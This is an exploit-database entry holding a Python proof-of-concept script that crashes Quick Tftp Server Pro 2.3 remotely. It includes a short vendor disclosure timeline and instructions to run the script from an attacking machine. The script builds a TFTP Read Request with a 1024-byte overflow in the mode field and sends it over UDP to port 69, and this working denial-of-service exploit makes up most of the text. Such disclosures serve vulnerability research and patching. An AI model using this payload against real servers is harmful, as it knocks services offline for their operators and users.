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Quick Tftp Server Pro 2.3 - Read Mode Denial of Service
[# Exploit Title: Quick Tftp Server Pro 2.3 TFTP mode Remote Overflow (DoS)
# Date: 21/01/2016
# Exploit Author: Guillaume Kaddouch
# Twitter: @gkweb76
# Blog: https://networkfilter.blogspot.com
# GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://www.tallsoft.com/tftpserver.htm
# Software Link: http://www.tallsoft.com/tftpserver_setup.exe
# Version: 2.3
# Tested on: Windows 7 Family x64 (FR)
# Category: DoS
"""
Disclosure Timeline:
--------------------
2016-01-21: Vulnerability discovered
2016-01-24: Vendor contacted
2016-01-29: Vendor contacted again (no answer)
2016-03-01: Vulnerability published
Description :
-------------
A remote overflow exists in Quick Tftp Server Pro 2.3 in the TFTP mode when sending a TFTP Read Request. This allows to remotely crash
the application, thus causing a Denial of Service.
Instructions:
-------------
- Starts Quick Tftp Server Pro 2.3
- Run this exploit locally or from your remote attacking machine
"""
import socket
host = "192.168.135.132"
port = 69
request = "\x00\x01" # TFTP Read Request (RRQ)
file = "file.txt"
mode = '\x41' * 1024 # Overflow
buffer = request + file + "\x00" + mode + "\x00"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print "[*] Sending buffer to %s (%d bytes)..." % (host, len(buffer))
s.sendto(buffer, (host, port))
s.close()
print "[*] Done."
except:
print "[-] Error connecting"
# 0day.today [2024-11-14] #